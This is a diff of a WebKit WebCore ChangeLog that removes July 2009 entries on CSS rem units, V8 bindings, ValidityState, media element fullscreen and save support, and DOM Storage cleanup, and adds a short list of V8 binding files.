-        (WebCore::CSSPrimitiveValue::computeLengthFloat):
-        (WebCore::CSSPrimitiveValue::computeLengthDouble):
-        (WebCore::CSSPrimitiveValue::cssText):
-        (WebCore::CSSPrimitiveValue::parserValue):
-        * css/CSSPrimitiveValue.h:
-        (WebCore::CSSPrimitiveValue::):
-        (WebCore::CSSPrimitiveValue::isUnitTypeLength):
-        * css/CSSStyleSelector.cpp:
-        (WebCore::CSSStyleSelector::initForStyleResolve):
-        (WebCore::convertToLength):
-        (WebCore::CSSStyleSelector::applyProperty):
-        (WebCore::CSSStyleSelector::mapFillSize):
-        (WebCore::CSSStyleSelector::mapFillXPosition):
-        (WebCore::CSSStyleSelector::mapFillYPosition):
-        (WebCore::CSSStyleSelector::createTransformOperations):
-        * css/CSSStyleSelector.h:
-        * css/MediaQueryEvaluator.cpp:
-        (WebCore::device_heightMediaFeatureEval):
-        (WebCore::device_widthMediaFeatureEval):
-        (WebCore::heightMediaFeatureEval):
-        (WebCore::widthMediaFeatureEval):
-        * css/WebKitCSSMatrix.cpp:
-        (WebCore::WebKitCSSMatrix::setMatrixValue):
-        * css/tokenizer.flex:
-        * dom/Document.cpp:
-        (WebCore::Document::Document):
-        * dom/Document.h:
-        (WebCore::Document::usesRemUnits):
-        (WebCore::Document::setUsesRemUnits):
-        * dom/Element.cpp:
-        (WebCore::Element::recalcStyle):
-        * rendering/SVGRenderTreeAsText.cpp:
-        (WebCore::writeStyle):
-        * rendering/style/SVGRenderStyle.cpp:
-        (WebCore::SVGRenderStyle::cssPrimitiveToLength):
-        * svg/graphics/SVGPaintServer.cpp:
-        (WebCore::applyStrokeStyleToContext):
-        (WebCore::dashArrayFromRenderingStyle):
-        * svg/graphics/SVGPaintServer.h:
-
-2009-07-15  Dimitri Glazkov  <dglazkov@chromium.org>
-
-        Unreviewed, build fix.
-
-        Remove extraneous qualifier, accidentally added in http://trac.webkit.org/changeset/45884.
-
-        * bindings/v8/V8DOMWrapper.h: Removed extraneous qualifier.
-
-2009-07-15  Dimitri Glazkov  <dglazkov@chromium.org>
-
-        Reviewed by Darin Fisher.
-
-        [V8] Update bindings for ValiditeState patch.
-        https://bugs.webkit.org/show_bug.cgi?id=19562
-
-        * bindings/v8/DOMObjectsInclude.h:
-        * bindings/v8/DerivedSourcesAllInOne.cpp:
-        * bindings/v8/V8Index.cpp:
-        * bindings/v8/V8Index.h:
-
-2009-07-15  Laszlo Gombos  <laszlo.1.gombos@nokia.com>
-
-        Reviewed by Simon Hausmann.
-
-        [Qt] Cleanup - Remove obsolete code from the make system
-        https://bugs.webkit.org/show_bug.cgi?id=27299
-
-        * WebCore.pro:
-
-2009-07-15  Simon Hausmann  <simon.hausmann@nokia.com>
-
-        Reviewed by Ariya Hidayat.
-
-        Fix the build without media elements.
-
-        * rendering/HitTestResult.cpp:
-        (WebCore::HitTestResult::absoluteMediaURL): Add #if ENABLE(VIDEO)
-        markers around the body of the method.
-
-2009-07-14  Pavel Feldman  <pfeldman@chromium.org>
-
-        Reviewed by Timothy Hatcher.
-
-        WebInspector: Move storeLastActivePanel out of the
-        ifdef ENABLE_JAVASCRIPT_DEBUGGER section in IDL;
-        Add default panel for the first opening of the
-        WebInspector.
-
-        https://bugs.webkit.org/show_bug.cgi?id=27263
-
-        * inspector/InspectorController.cpp:
-        (InspectorController::setWindowVisible):
-        * inspector/InspectorController.idl:
-
-2009-07-14  Darin Adler  <darin@apple.com>
-
-        Try to fix Windows build.
-
-        * bindings/scripts/CodeGeneratorCOM.pm: Add Reflect and ReflectURL support.
-
-2009-07-14  Pierre d'Herbemont  <pdherbemont@apple.com>
-
-        Reviewed by Oliver Hunt.
-
-        HTMLMediaElement::supportsFullscreen() should return false
-        https://bugs.webkit.org/show_bug.cgi?id=27284
-
-        (Reverting a part of 45875)
-
-        HTMLVideoElement::supportsFullscreen() will properly do the
-        job, and check if the backend supports fullscreen.
-
-        HTMLVideoElement is the only subclass to support fullscreen
-        (conditionnaly). HTMLAudioElement fullscreen is not supported
-        and is a different kind of fullscreen, if it comes to be wanted.
-
-        No test can be done currently given that none of the media
-        backends support fullscreen.
-
-        * html/HTMLMediaElement.cpp:
-        * html/HTMLMediaElement.h:
-        (WebCore::HTMLMediaElement::supportsFullscreen):
-
-2009-07-14  Darin Adler  <darin@apple.com>
-
-        Reviewed by Dimitri Glazkov.
-
-        Next step in making DOM attribute getter/setters consistently use AtomicString
-        https://bugs.webkit.org/show_bug.cgi?id=25425
-
-        This covers eight DOM classes, and for each one of the classes:
-
-        - Changes the IDL to use the Reflect syntax for all simple cases.
-        - Removes unused functions in the classes, mainly newly unused ones that were
-          used for reflection before.
-        - Removes unneeded explicitly defined destructors.
-        - Explicitly declares destructors as virtual.
-        - Removes unneeded includes.
-        - Makes members protected or private rather than public where possible.
-        - Renames "doc" to "document".
-        - Tweaks formatting to match our latest style in a few places.
-        - Improves some FIXME comments.
-
-        Over time we'll want to do this for all HTML DOM classes.
-
-        * html/HTMLAnchorElement.cpp:
-        (WebCore::HTMLAnchorElement::HTMLAnchorElement):
-        * html/HTMLAnchorElement.h:
-        (WebCore::HTMLAnchorElement::endTagRequirement):
-        (WebCore::HTMLAnchorElement::tagPriority):
-        * html/HTMLAnchorElement.idl:
-        * html/HTMLAppletElement.cpp:
-        * html/HTMLAppletElement.h:
-        * html/HTMLAppletElement.idl:
-        * html/HTMLAreaElement.cpp:
-        (WebCore::HTMLAreaElement::parseMappedAttribute):
-        * html/HTMLAreaElement.h:
-        (WebCore::HTMLAreaElement::endTagRequirement):
-        (WebCore::HTMLAreaElement::tagPriority):
-        * html/HTMLAreaElement.idl:
-        * html/HTMLBRElement.cpp:
-        (WebCore::HTMLBRElement::parseMappedAttribute):
-        * html/HTMLBRElement.h:
-        * html/HTMLBRElement.idl:
-        * html/HTMLBaseElement.cpp:
-        (WebCore::HTMLBaseElement::HTMLBaseElement):
-        (WebCore::HTMLBaseElement::removedFromDocument):
-        (WebCore::HTMLBaseElement::process):
-        * html/HTMLBaseElement.h:
-        * html/HTMLBaseElement.idl:
-        * html/HTMLBaseFontElement.cpp:
-        (WebCore::HTMLBaseFontElement::HTMLBaseFontElement):
-        * html/HTMLBaseFontElement.h:
-        (WebCore::HTMLBaseFontElement::endTagRequirement):
-        (WebCore::HTMLBaseFontElement::tagPriority):
-        * html/HTMLBaseFontElement.idl:
-        * html/HTMLBlockquoteElement.cpp:
-        (WebCore::HTMLBlockquoteElement::HTMLBlockquoteElement):
-        * html/HTMLBlockquoteElement.h:
-        (WebCore::HTMLBlockquoteElement::tagPriority):
-        * html/HTMLBlockquoteElement.idl:
-        * html/HTMLBodyElement.cpp:
-        (WebCore::HTMLBodyElement::HTMLBodyElement):
-        (WebCore::HTMLBodyElement::addSubresourceAttributeURLs):
-        * html/HTMLBodyElement.h:
-        (WebCore::HTMLBodyElement::endTagRequirement):
-        (WebCore::HTMLBodyElement::tagPriority):
-        * html/HTMLBodyElement.idl:
-        Made changes as described above.
-
-        * loader/FrameLoader.cpp: Removed unneeded include of HTMLAnchorElement.h.
-
-2009-07-14  Steve Falkenburg  <sfalken@apple.com>
-
-        Reorganize JavaScriptCore headers into:
-        API: include/JavaScriptCore/
-        Private: include/private/JavaScriptCore/
-
-        Reviewed by Darin Adler.
-
-        * WebCore.vcproj/QTMovieWin.vcproj:
-        * WebCore.vcproj/WebCoreCommon.vsprops:
-        * WebCore.vcproj/build-generated-files.sh:
-
-2009-07-14  Zoltan Horvath  <hzoltan@inf.u-szeged.hu>
-
-        Reviewed by Darin Adler.
-
-        Change all Noncopyable inheriting visibility to public.
-        https://bugs.webkit.org/show_bug.cgi?id=27225
-
-        Change all Noncopyable inheriting visibility to public because
-        it is needed to the custom allocation framework (bug #20422).
-
-        * bindings/js/GCController.h:
-        * bindings/js/WorkerScriptController.h:
-        * bindings/v8/V8DOMMap.cpp:
-        (WebCore::):
-        * bridge/runtime.h:
-        * css/CSSSelector.h:
-        * css/CSSSelectorList.h:
-        * css/CSSStyleSelector.h:
-        * dom/ClassNames.h:
-        * dom/MessagePortChannel.h:
-        * dom/XMLTokenizerLibxml2.cpp:
-        * dom/XMLTokenizerScope.h:
-        * editing/ReplaceSelectionCommand.cpp:
-        * editing/SelectionController.h:
-        * editing/TextIterator.cpp:
-        * history/PageCache.h:
-        * html/CanvasRenderingContext2D.h:
-        * html/HTMLParser.h:
-        * html/HTMLParserQuirks.h:
-        * html/PreloadScanner.h:
-        * loader/Cache.h:
-        * loader/CrossOriginPreflightResultCache.h:
-        * loader/FrameLoader.h:
-        * loader/ProgressTracker.h:
-        * loader/ThreadableLoader.h:
-        * loader/appcache/ApplicationCacheGroup.h:
-        * loader/archive/ArchiveResourceCollection.h:
-        * loader/icon/IconDatabase.h:
-        * loader/icon/IconLoader.h:
-        * loader/icon/PageURLRecord.h:
-        * loader/loader.h:
-        * page/ContextMenuController.h:
-        * page/EventHandler.h:
-        * page/FrameTree.h:
-        * page/Page.h:
-        * page/PageGroup.h:
-        * page/PageGroupLoadDeferrer.h:
-        * page/mac/EventHandlerMac.mm:
-        * platform/AutodrainedPool.h:
-        * platform/ContextMenu.h:
-        * platform/EventLoop.h:
-        * platform/HostWindow.h:
-        * platform/Pasteboard.h:
-        * platform/PurgeableBuffer.h:
-        * platform/RunLoopTimer.h:
-        * platform/ThreadGlobalData.h:
-        * platform/ThreadTimers.h:
-        * platform/Timer.h:
-        * platform/TreeShared.h:
-        * platform/graphics/FontData.h:
-        * platform/graphics/GlyphWidthMap.h:
-        * platform/graphics/GraphicsContext.h:
-        * platform/graphics/ImageBuffer.h:
-        * platform/graphics/ImageSource.h:
-        * platform/graphics/MediaPlayer.h:
-        * platform/graphics/skia/GraphicsContextPlatformPrivate.h:
-        * platform/graphics/skia/PlatformContextSkia.h:
-        * platform/graphics/win/QTMovieWin.cpp:
-        * platform/mac/LocalCurrentGraphicsContext.h:
-        * platform/network/FormDataBuilder.h:
-        * platform/network/ResourceHandleInternal.h:
-        * platform/network/soup/ResourceHandleSoup.cpp:
-        * platform/text/StringBuffer.h:
-        * platform/text/TextCodec.h:
-        * platform/win/WindowMessageBroadcaster.h:
-        * rendering/CounterNode.h:
-        * rendering/LayoutState.h:
-        * rendering/RenderFrameSet.h:
-        * rendering/RenderView.h:
-        * rendering/TransformState.h:
-        * svg/SVGAnimatedProperty.h:
-        * svg/SynchronizableTypeWrapper.h:
-        * workers/WorkerMessagingProxy.h:
-        * workers/WorkerRunLoop.cpp:
-        * xml/XPathExpressionNode.h:
-        * xml/XPathParser.h:
-        * xml/XPathPredicate.h:
-        * xml/XPathStep.h:
-
-2009-07-14  Darin Fisher  <darin@chromium.org>
-
-        Reviewed by Darin Adler.
-
-        Fails to save document state when navigating away from a page with a
-        reference fragment.
-        https://bugs.webkit.org/show_bug.cgi?id=27281
-
-        Test: fast/history/saves-state-after-fragment-nav.html
-
-        * history/HistoryItem.cpp:
-        (WebCore::HistoryItem::isCurrentDocument): Use equalIgnoringRef
-        to compare URLs.
-
-2009-07-14  Joseph Pecoraro  <joepeck02@gmail.com>
-
-        Reviewed by Sam Weinig.
-
-        Inspector: Remove Unintended Global Variables
-        https://bugs.webkit.org/show_bug.cgi?id=27203
-
-        * inspector/front-end/Console.js:
-        (WebInspector.Console.prototype._ensureCommandLineAPIInstalled):
-        * inspector/front-end/DatabasesPanel.js:
-        (WebInspector.DatabasesPanel.prototype.dataGridForDOMStorage):
-        * inspector/front-end/ObjectPropertiesSection.js:
-        (WebInspector.ObjectPropertyTreeElement.prototype.update):
-        * inspector/front-end/inspector.js:
-        (WebInspector.animateStyle):
-
-2009-07-14  Michelangelo De Simone  <micdesim@gmail.com>
-
-        Reviewed by Adele Peterson.
-
-        https://bugs.webkit.org/show_bug.cgi?id=19562
-        Added build stuff and stub for the ValidityState class, part of HTML5
-        section Forms:
-        http://www.whatwg.org/specs/web-apps/current-work/multipage/forms.html#validitystate
-
-        Test: fast/forms/ValidityState-001.html
-
-        * DerivedSources.cpp: Inclusion of ValidityState files
-        * DerivedSources.make: ditto
-        * GNUmakefile.am: ditto
-        * WebCore.gypi: ditto
-        * WebCore.pro: ditto
-        * WebCore.vcproj/WebCore.vcproj: ditto
-        * WebCore.xcodeproj/project.pbxproj: ditto
-        * WebCoreSources.bkl: ditto
-        * html/HTMLButtonElement.idl: validity attribute
-        * html/HTMLFieldSetElement.idl: ditto
-        * html/HTMLFormControlElement.cpp:
-        (WebCore::HTMLFormControlElement::validity): ValidityState getter
-        * html/HTMLFormControlElement.h: ditto
-        * html/HTMLInputElement.idl: validity attribute
-        * html/HTMLSelectElement.idl: ditto
-        * html/HTMLTextAreaElement.idl: ditto
-        * html/ValidityState.cpp: Added.
-        (WebCore::ValidityState::ValidityState):
-        (WebCore::ValidityState::valid): validation flag
-        * html/ValidityState.h: Added.
-        (WebCore::ValidityState::create): validation flag
-        (WebCore::ValidityState::control): ditto
-        (WebCore::ValidityState::valueMissing): ditto
-        (WebCore::ValidityState::typeMismatch): ditto
-        (WebCore::ValidityState::patternMismatch): ditto
-        (WebCore::ValidityState::tooLong): ditto
-        (WebCore::ValidityState::rangeUnderflow): ditto
-        (WebCore::ValidityState::rangeOverflow): ditto
-        (WebCore::ValidityState::stepMismatch): ditto
-        (WebCore::ValidityState::customError): ditto
-        * html/ValidityState.idl: Added.
-
-2009-07-14  Ryosuke Niwa  <rniwa@google.com>
-
-        Reviewed by Eric Seidel.
-
-        Outdenting a line inside a blockquote tag does nothing
-        https://bugs.webkit.org/show_bug.cgi?id=25316
-
-        The bug was caused by the code checking whether the blockquote is created by WebKit or not.
-        We simply remove this code to be consistent with Firefox and Internet Explorer.
-        Also, enclosingBlockFlow == enclosingNode in outdentParagraph isn't a sufficient condition to insert
-        the placeholder before the enclosingNode because there could be contents before the current paragraph.
-        Instead, we should split the enclosingNode (which is a blockquote) at the starting position of outdentation.
-        It turned out that this solves the bug 25315 also: https://bugs.webkit.org/show_bug.cgi?id=25315
-
-        Test: editing/execCommand/outdent-regular-blockquote.html
-
-        * editing/IndentOutdentCommand.cpp:
-        (WebCore::isIndentBlockquote): no longer checks whether a blockquote is created by WebKit or not.
-        (WebCore::IndentOutdentCommand::outdentParagraph): takes care of the case enclosingBlockFlow == enclosingNode
-
-2009-07-14  Adam Barth  <abarth@webkit.org>
-
-        Reviewed by Dimitri Glazkov.
-
-        [V8] Fix isolated world wrappers for Node prototypes
-        https://bugs.webkit.org/show_bug.cgi?id=27277
-
-        This change does two things:
-
-        1) We bypass the wrapper cache in the isolated world.  This is because
-           the wrapper template cache has prototypes that lead to the main
-           world.  We can add a template cache for the isolated world if
-           performance warrants.
-
-        2) We introduce a smarter way to grab the wrapper context for a frame
-           that is aware that proxy <-> context do not stand in one-to-one
-           correspondence.  This generalizes our solution for the node wrapper
-           case to prototypes.
-
-        The net result is that Node wrappers get the right prototypes.  As
-        before, tests to follow.
-
-        * bindings/v8/V8DOMWrapper.cpp:
-        (WebCore::V8DOMWrapper::setHiddenWindowReference):
-        (WebCore::V8DOMWrapper::instantiateV8Object):
-        (WebCore::V8DOMWrapper::convertNodeToV8Object):
-        (WebCore::V8DOMWrapper::convertWindowToV8Object):
-        (WebCore::V8DOMWrapper::getWrapperContext):
         * bindings/v8/V8DOMWrapper.h:
-
-2009-07-14  Adam Barth  <abarth@webkit.org>
-
-        Reviewed by Dimitri Glazkov.
-
-        [V8] Fix isolated world wrappers for Nodes
-        https://bugs.webkit.org/show_bug.cgi?id=27271
-
-        Previously, we keepy a pointer to the DOMMap on V8Proxy, but this
-        caused us to miss the branch in V8DOMMap.cpp for isolated worlds.
-
-        I have tests, but I can't land them until I get this feature under
-        control.
-
-        * bindings/v8/V8DOMWrapper.cpp:
-        (WebCore::V8DOMWrapper::convertNodeToV8Object):
-        * bindings/v8/V8Proxy.h:
-        (WebCore::V8Proxy::V8Proxy):
-
-2009-07-14  Adam Barth  <abarth@webkit.org>
-
-        Reviewed by Dimitri Glazkov.
-
-        [V8] Fix isolated world crash on getting window.location
-        https://bugs.webkit.org/show_bug.cgi?id=27268
-
-        I have a test for this locally, but it requires a compile-time hack to
-        run.  Once I get the feature's stability under control, we can turn the
-        feature on and add the tests.
-
-        * bindings/v8/V8DOMWrapper.cpp:
-        (WebCore::V8DOMWrapper::setHiddenWindowReference):
-        * bindings/v8/V8IsolatedWorld.h:
-        (WebCore::V8IsolatedWorld::context):
-
-2009-07-14  Brent Fulgham  <bfulgham@webkit.org>
-
-        Correct failing tests after r45875.  The original patch did not
-        test the m_player member for null, causing crashes.  This will
-        happen fairly frequently in real use.  Was this original patch
-        ever tested?
-        https://bugs.webkit.org/show_bug.cgi?id=27246
-
-        Test via existing media tests.
-
-        * html/HTMLMediaElement.cpp:
-        (WebCore::HTMLMediaElement::supportsFullscreen): Check for null pointer.
-        (WebCore::HTMLMediaElement::supportsSave): Check for null pointer.
-
-2009-07-14  Avi Drissman  <avi@chromium.org>
-
-        Reviewed by Darin Fisher.
-
-        Explicitly mark the HTML generated for the Mac as being UTF-8 encoded.
-        The Windows clipboard format is explicitly documented as being UTF-8,
-        and all Linux apps assume UTF-8. On the Mac, though, unless otherwise
-        indicated, Windows-1252 is assumed, which is wrong.
-
-        Bug: https://bugs.webkit.org/show_bug.cgi?id=27262
-
-        No new tests.
-
-        * platform/chromium/ClipboardChromium.cpp:
-        (WebCore::ClipboardChromium::writeRange):
-        * platform/chromium/PasteboardChromium.cpp:
-        (WebCore::Pasteboard::writeSelection):
-
-2009-07-14  Albert J. Wong  <ajwong@chromium.org>
-
-        Reviewed by Dimitri Glazkov.
-
-        Upstream V8NPObject.h and V8NPObject.cpp.
-        https://bugs.webkit.org/show_bug.cgi?id=27103
-
-        This just upstreams the files from the chromium code base. Only
-        minor changes to formatting and similar were done, so no testing
-        is required because nothing really changed.  Code verified to compile.
-
-        * bindings/v8/ScriptController.cpp:
-        (WebCore::ScriptController::bindToWindowObject):
-        (WebCore::ScriptController::createScriptInstanceForWidget):
-        * bindings/v8/V8NPObject.cpp: Added.
-        (npObjectInvokeImpl):
-        (npObjectMethodHandler):
-        (npObjectInvokeDefaultHandler):
-        (weakTemplateCallback):
-        (npObjectGetProperty):
-        (npObjectNamedPropertyGetter):
-        (npObjectIndexedPropertyGetter):
-        (npObjectGetNamedProperty):
-        (npObjectGetIndexedProperty):
-        (npObjectSetProperty):
-        (npObjectNamedPropertySetter):
-        (npObjectIndexedPropertySetter):
-        (npObjectSetNamedProperty):
-        (npObjectSetIndexedProperty):
-        (weakNPObjectCallback):
-        (createV8ObjectForNPObject):
-        (forgetV8ObjectForNPObject):
-        * bindings/v8/V8NPObject.h: Added.
-        * bindings/v8/custom/V8HTMLPlugInElementCustom.cpp:
-        (WebCore::NAMED_PROPERTY_GETTER):
-        (WebCore::NAMED_PROPERTY_SETTER):
-        (WebCore::CALLBACK_FUNC_DECL):
-        (WebCore::INDEXED_PROPERTY_GETTER):
-        (WebCore::INDEXED_PROPERTY_SETTER):
-
-
-2009-07-14  Albert J. Wong  <ajwong@chromium.org>
-
-        Reviewed by Darin Adler.
-
-        Add HTMLMediaElement::supportSave() and a
-        HitTestResult::absoluteMediaURL() functions
-        https://bugs.webkit.org/show_bug.cgi?id=27246
-
-        Added an implementation of supportsSave() into HTMLMediaElement
-        that delegates to MediaPlayerPrivateImpl so that the media engine
-        is able to signal whether or not a media source supports saving.
-
-        Also added a function to HitTestResult that allows for retrieval
-        of the currentSrc associated with the "hit" media element. 
-        
-        These functions are just pipeing with no visible UI change so there
-        are no related layout test changes.
-
-        * html/HTMLMediaElement.cpp:
-        (WebCore::HTMLMediaElement::supportsFullscreen): 
-        (WebCore::HTMLMediaElement::supportsSave):
-        * html/HTMLMediaElement.h:
-        * platform/graphics/MediaPlayer.cpp:
-        (WebCore::MediaPlayer::supportsSave):
-        * platform/graphics/MediaPlayer.h:
-        * platform/graphics/MediaPlayerPrivate.h:
-        (WebCore::MediaPlayerPrivateInterface::supportsFullscreen):
-        (WebCore::MediaPlayerPrivateInterface::supportsSave):
-        * rendering/HitTestResult.cpp:
-        (WebCore::HitTestResult::altDisplayString):
-        (WebCore::HitTestResult::absoluteMediaURL):
-        * rendering/HitTestResult.h:
-
-2009-07-14  Dimitri Glazkov  <dglazkov@chromium.org>
-
-        Reviewed by Adam Barth.
-
-        [V8] Implement Reflect and ReflectURL attribute support.
-        https://bugs.webkit.org/show_bug.cgi?id=27273
-
-        * bindings/scripts/CodeGeneratorV8.pm: Added support for Reflect and ReflectURL attributes.
-
-2009-07-14  Dmitry Titov  <dimich@chromium.org>
-
-        Reviewed by Darin Adler.
-
-        https://bugs.webkit.org/show_bug.cgi?id=27266
-        Add hasCurrentPoint() to WebCore::Path.
-        This fixes Skia-based Chromium regression caused by the fix for
-        https://bugs.webkit.org/show_bug.cgi?id=27187.
-        For Skia, the new method always returns 'true', pending actual implementation.
-        This means Chromium still will differ from Gecko behavior, but at least its Canvas
-        will not be completely broken.
-
-        Existing Canvas Layout Tests should pass in Chromium after this change.
-
-        * html/CanvasRenderingContext2D.cpp:
-        (WebCore::CanvasRenderingContext2D::lineTo): insteand of Path::isEmpty() test for hasCurrentPoint().
-        (WebCore::CanvasRenderingContext2D::quadraticCurveTo): ditto.
-        (WebCore::CanvasRenderingContext2D::bezierCurveTo): ditto.
-
-        * platform/graphics/Path.h:
-        * platform/graphics/cairo/PathCairo.cpp:
-        (WebCore::Path::hasCurrentPoint):
-        * platform/graphics/cg/PathCG.cpp:
-        (WebCore::Path::isEmpty):
-        (WebCore::Path::hasCurrentPoint):
-        * platform/graphics/qt/PathQt.cpp:
-        (WebCore::Path::hasCurrentPoint):
-        * platform/graphics/skia/PathSkia.cpp:
-        (WebCore::Path::hasCurrentPoint):
-        * platform/graphics/wx/PathWx.cpp:
-        (WebCore::Path::hasCurrentPoint):
-        All these files add a Path::hasCurrentPoint() for various platforms.
-
-2009-07-14  Nate Chapin  <japhet@chromium.org>
-
-        Reviewed by Sam Weinig.
-
-        Upstream RGBColor from src.chromium.org.
-
-        https://bugs.webkit.org/show_bug.cgi?id=27133
-
-        * WebCore.gypi: Add RGBColor
-        * css/RGBColor.cpp: Added.
-        (WebCore::RGBColor::create):
-        (WebCore::RGBColor::red):
-        (WebCore::RGBColor::green):
-        (WebCore::RGBColor::blue):
-        * css/RGBColor.h: Added.
-        (WebCore::RGBColor::RGBColor):
-
-2009-07-10  Matt Perry  <mpcomplete@chromium.org>
-
-        Reviewed by Darin Fisher.
-
-        [V8] Rename the didCreate/DestroyScriptContext calls to make it
-        clear that that those refer to the frame's contxt.  Add another
-        similar call for when creating contexts via evaluateInNewContext.
-        https://bugs.webkit.org/show_bug.cgi?id=27104
-
-        * bindings/v8/V8Proxy.cpp:
-        (WebCore::V8Proxy::evaluateInNewContext):
-        (WebCore::V8Proxy::disposeContextHandles):
-        (WebCore::V8Proxy::initContextIfNeeded):
-        * loader/EmptyClients.h:
-        (WebCore::EmptyFrameLoaderClient::didCreateScriptContextForFrame):
-        (WebCore::EmptyFrameLoaderClient::didDestroyScriptContextForFrame):
-        (WebCore::EmptyFrameLoaderClient::didCreateIsolatedScriptContext):
-        * loader/FrameLoaderClient.h:
-
-2009-07-14  Brent Fulgham  <bfulgham@webkit.org>
-
-        Revert http://trac.webkit.org/changeset/45864 after
-        breaking of Windows build.
-
-        * storage/LocalStorageTask.cpp:
-        * storage/LocalStorageTask.h:
-        * storage/Storage.cpp:
-        * storage/Storage.h:
-        * storage/StorageArea.cpp:
-        * storage/StorageArea.h:
-        * storage/StorageAreaImpl.cpp:
-        * storage/StorageAreaImpl.h:
-        * storage/StorageAreaSync.cpp:
-        * storage/StorageAreaSync.h:
-        * storage/StorageEvent.cpp:
-        * storage/StorageEvent.h:
-        (WebCore::StorageEvent::create):
-        (WebCore::StorageEvent::StorageEvent):
-        * storage/StorageNamespace.h:
-        * storage/StorageNamespaceImpl.cpp:
-        * storage/StorageNamespaceImpl.h:
-        * storage/StorageSyncManager.cpp:
-        * storage/StorageSyncManager.h:
-
-2009-07-11  Jeremy Orlow  <jorlow@chromium.org>
-
-        Reviewed by Darin Adler.
-
-        Cleanup DOM Storage dependencies.
-        https://bugs.webkit.org/show_bug.cgi?id=27180
-
-        DOM Storage had several unnecessary (and probably unintended)
-        dependencies.  This patch replaces many includes of header files with
-        forward declaration of classes, making some destructors explicit, and
-        taking some factories out of the header files.
-
-        This will allow things like StorageAreaSync to take a StorageAreaImpl*
-        (as it should) rather than a StorageArea* which previously weren't
-        possible because the dependencies were such a tangled mess.
-
-        * storage/LocalStorageTask.cpp:
-        (WebCore::LocalStorageTask::~LocalStorageTask):
-        * storage/LocalStorageTask.h:
-        * storage/Storage.cpp:
-        (WebCore::Storage::~Storage):
-        * storage/Storage.h:
-        * storage/StorageArea.cpp:
-        * storage/StorageArea.h:
-        * storage/StorageAreaImpl.cpp:
-        * storage/StorageAreaImpl.h:
-        * storage/StorageAreaSync.cpp:
-        (WebCore::StorageAreaSync::~StorageAreaSync):
-        * storage/StorageAreaSync.h:
-        * storage/StorageEvent.cpp:
-        (WebCore::StorageEvent::create):
-        (WebCore::StorageEvent::StorageEvent):
-        * storage/StorageEvent.h:
-        * storage/StorageNamespace.h:
-        * storage/StorageNamespaceImpl.cpp:
-        * storage/StorageNamespaceImpl.h:
-        * storage/StorageSyncManager.cpp:
-        (WebCore::StorageSyncManager::~StorageSyncManager):
-        * storage/StorageSyncManager.h:
-
-
-2009-07-14  Adam Treat  <adam.treat@torchmobile.com>
-
-        Reviewed by David Hyatt.
-
-        https://bugs.webkit.org/show_bug.cgi?id=26983
-
-        Check to make sure the view is attached to a frame() in the visibleContentsResized()
-        method as it can be triggered before the view is attached by Frame::createView(...)
-        setting various values such as setScrollBarModes(...) for example.  An ASSERT is
-        triggered when a view is layout before being attached to a frame().
-
-        * page/FrameView.cpp:
-        (WebCore::FrameView::visibleContentsResized):
-        * page/FrameView.h:
-
-2009-07-14  Pavel Feldman  <pfeldman@chromium.org>
-
-        Reviewed by Timothy Hatcher.
-
-        WebInspector: show last opened panel when invoking inspector.
-
-        https://bugs.webkit.org/show_bug.cgi?id=27263
-
-        * inspector/InspectorController.cpp:
-        (WebCore::InspectorController::InspectorController):
-        (WebCore::InspectorController::setWindowVisible):
-        (WebCore::InspectorController::storeLastActivePanel):
-        (WebCore::InspectorController::specialPanelForJSName):
-        * inspector/InspectorController.h:
-        (WebCore::InspectorController::Setting::Setting):
-        * inspector/InspectorController.idl:
-        * inspector/front-end/inspector.js:
-        (WebInspector.set currentPanel):
-        (WebInspector.loaded):
-
-2009-07-14  Anton Muhin  <antonm@chromium.org>
-
-        Reviewed by Dimitri Glazkov.
-
-        Speed up access to NodeList length.
-        https://bugs.webkit.org/show_bug.cgi?id=27264
-
-        That's a minimal alternation of the code.
-
-        * bindings/v8/custom/V8NodeListCustom.cpp:
-        (WebCore::NAMED_PROPERTY_GETTER): 1) use AtomicString for comparison, 2) use
-        v8::Integer::New instead of v8::Number::New.
-
-2009-07-14  Anton Muhin  <antonm@chromium.org>
-
-        Reviewed by Dimitri Glazkov.
-
-        Do not do unnecessary conversions from v8::Handle<v8::Value> to
-        v8::Handle<v8::Object> and accompanying changes.
-        https://bugs.webkit.org/show_bug.cgi?id=26953
-
-        Three things:
-
-        1) do not cast from v8::Value to v8::Object if unnecessary---casts are cheap,
-        but are not free (they check for emptiness of handle);
-        2) inline conversion from wrapper to node;
-        3) simplify case to an ASSERT.
-
-        This is just a refactoring, so no new tests are needed.
-
-        * bindings/scripts/CodeGeneratorV8.pm:
+        * bindings/v8/V8NodeFilterCondition.cpp:
         * bindings/v8/V8Proxy.cpp:
-        (WebCore::V8Proxy::evaluateInNewContext):
-        (WebCore::V8Proxy::convertToSVGPODTypeImpl):
-        * bindings/v8/V8Proxy.h:
-        (WebCore::V8Proxy::convertDOMWrapperToNative):
-        (WebCore::V8Proxy::convertToNativeObject):
-        (WebCore::V8Proxy::convertToNativeEvent):
+        * bindings/v8/WorkerContextExecutionProxy.h
         * bindings/v8/custom/V8CanvasRenderingContext2DCustom.cpp:
-        (WebCore::toCanvasStyle):
-        (WebCore::CALLBACK_FUNC_DECL):
-        * bindings/v8/custom/V8CustomBinding.cpp:
-        (WebCore::V8Custom::GetTargetFrame):
+        * bindings/v8/custom/V8CustomPositionCallback.cpp:
+        * bindings/v8/custom/V8CustomPositionErrorCallback.cpp:
+        * bindings/v8/custom/V8CustomSQLStatementCallback.cpp:
+        * bindings/v8/custom/V8CustomSQLStatementErrorCallback.cpp:
+        * bindings/v8/custom/V8CustomSQLTransactionCallback.cpp:
+        * bindings/v8/custom/V8CustomSQLTransactionErrorCallback.cpp:
         * bindings/v8/custom/V8DOMWindowCustom.cpp:
-        (WebCore::CALLBACK_FUNC_DECL):
-        (WebCore::V8Custom::ClearTimeoutImpl):
-        (WebCore::NAMED_ACCESS_CHECK):
-        (WebCore::INDEXED_ACCESS_CHECK):
+        * bindings/v8/custom/V8DataGridColumnListCustom.cpp:
         * bindings/v8/custom/V8DocumentCustom.cpp:
-        (WebCore::CALLBACK_FUNC_DECL):
-        * bindings/v8/custom/V8LocationCustom.cpp:
-        (WebCore::CALLBACK_FUNC_DECL):
-
-2009-07-14  Darin Adler  <darin@apple.com>
-
-        Reviewed by Dan Bernstein.
-
-        Straight quotes should match fancy quotes in in-page search
-        https://bugs.webkit.org/show_bug.cgi?id=27217
-
-        Tests: fast/text/find-quotes.html
-
-        * editing/TextIterator.cpp:
-        (WebCore::foldQuoteMark): Added.
-        (WebCore::foldQuoteMarks): Added.
-        (WebCore::SearchBuffer::SearchBuffer): Call foldQuoteMarks on the target string.
